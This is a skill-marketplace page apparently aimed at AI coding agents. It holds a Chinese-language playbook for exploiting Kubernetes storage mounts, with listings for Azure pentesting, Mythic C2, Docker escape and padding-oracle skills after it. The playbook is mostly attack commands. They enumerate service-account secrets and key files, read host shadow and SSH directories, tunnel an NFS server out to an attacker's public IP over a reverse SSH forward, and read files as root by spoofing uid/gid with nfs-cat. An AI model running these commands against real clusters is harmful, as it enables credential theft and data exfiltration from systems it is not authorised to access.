skills/cloud/k8s-storage-exploit/SKILL.md
Kubernetes 存储与文件共享利用。当 Pod 挂载了 NFS/EFS/PV/ConfigMap/Secret、发现 /efs 或 /mnt 目录、或 mount 输出中有远程文件系统时使用。覆盖 NFS 挂载利用、AWS EFS uid/gid 伪造、nfs-cat 免挂载读取、PV 敏感数据提取。只要在容器中发现任何远程挂载或共享存储,就应使用此技能
npx skillsauth add wgpsec/AboutSecurity k8s-storage-exploitInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
K8s Pod 可能挂载了 NFS、AWS EFS、PV 等存储后端。这些存储往往只依赖网络层访问控制(security group / CIDR),不做应用层认证——也就是说只要 Pod 在同一网络内就能读写,这是云时代仍在用的"上古"访问控制模型。
# 查看所有挂载点
mount
df -h
cat /etc/mtab
cat /proc/mounts
# 特别关注远程挂载
mount | grep -E 'nfs|efs|cifs|gluster|ceph|azure'
# 查看 K8s 挂载的 Secret/ConfigMap
ls -la /var/run/secrets/
ls -la /etc/config/ 2>/dev/null
mount | grep -F 'tmpfs' | grep -F 'ro' # Secret/ConfigMap 通常是只读 tmpfs
find /var/run/secrets -type f 2>/dev/null
find / -name "*.key" -o -name "*.pem" -o -name "*.crt" 2>/dev/null | head -20
# True Volume / PV 通常是 ext4、nfs、efs、cifs、ceph 等实际文件系统
grep -wF "ext4" /etc/mtab 2>/dev/null
mount | grep -E 'nfs|efs|cifs|gluster|ceph|azure|hostPath'
# 直接读取
ls -la /efs/ 2>/dev/null
ls -la /mnt/ 2>/dev/null
find /efs -type f 2>/dev/null
cat /efs/flag.txt 2>/dev/null
方法 A: SSH 端口转发(需要外网可达的机器)
# 在 Pod 中(ReadOnly FS 需要 -o StrictHostKeyChecking=no)
ssh -R 2049:<nfs-server>:2049 -Nf user@your-public-ip \
-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null
# 在你的机器上
mount -t nfs localhost:/ /mnt
ls /mnt/
方法 B: nfs-cat / nfs-ls(无需 mount 权限,最灵巧)
nfs-cat 的核心优势:通过 URL 参数直接指定 uid/gid,无需 root 权限即可以任意用户身份读取文件。
# 以 root (uid=0) 身份读取文件
nfs-cat "nfs://<nfs-server>:2049//flag.txt?version=4&uid=0&gid=0"
# 列出目录
nfs-ls "nfs://<nfs-server>:2049//?version=4"
工具来源: https://github.com/sahlberg/libnfs
方法 C: showmount 探测
showmount -e <nfs-server>
# 显示导出的共享目录
AWS EFS 使用 NFS v4.1 协议。关键点:默认只靠安全组做访问控制,不启用 IAM 认证。这意味着同 VPC 内的任何 Pod 都能直接读写 EFS。
# 识别 EFS(mount 输出中会有 efs 关键字)
mount | grep efs
# 输出: fs-xxxxx.efs.us-west-1.amazonaws.com:/ on /efs type nfs4
# DNS 名称暴露 region 和 filesystem ID
# fs-xxxxx.efs.<region>.amazonaws.com
# 检查 hostPath 挂载(可能挂载了宿主机目录)
mount | grep -E '/host|/root|/etc'
# 常见的敏感挂载路径
ls /host/etc/shadow 2>/dev/null
ls /host/root/.ssh/ 2>/dev/null
ls /host/var/lib/kubelet/ 2>/dev/null
# 检查 ConfigMap/Secret 挂载
find /var/run/secrets -type f 2>/dev/null
find /etc -name "*.conf" -newer /etc/hostname 2>/dev/null
testing
Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产(Blob Storage/App Service/Azure VM/Azure Functions)、获取 Azure 凭据(Service Principal/Managed Identity/Access Token)、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面
tools
Mythic C2 操作方法论。当需要部署 Mythic、选择 Mythic Agent、安装 C2 Profile、配置 HTTP/DNS/WebSocket/SMB/TCP 通信、生成 payload、管理回连任务,或把 Mythic 作为跨平台 C2 框架用于授权红队演练时使用。覆盖 mythic-cli 安装、Agent/Profile 选择、SSL 证书配置、payload 构建和基础 OPSEC 判断
development
Docker 安全测试与容器渗透方法论。当需要评估 Docker 容器、Docker Daemon、Docker Registry、镜像层、构建产物或容器逃逸风险时使用。覆盖容器环境识别、特权容器逃逸、docker.sock/Remote API 利用、procfs/cgroup/capabilities 滥用、Docker 用户组提权、运行时/内核 CVE、Registry 枚举、镜像层 Secret 分析和构建上下文泄露。发现 Docker 容器环境、Registry 暴露、镜像凭据或容器配置错误时应使用此技能
development
使用 PadBuster 进行 Padding Oracle 攻击。当发现 Web 应用使用 CBC 模式加密且存在 Padding Oracle 漏洞时使用。PadBuster 可自动解密密文和伪造任意明文对应的合法密文,适用于加密 Cookie/Token/URL 参数。任何涉及 Padding Oracle 攻击、CBC 密文解密、Cookie 伪造的场景都应使用此技能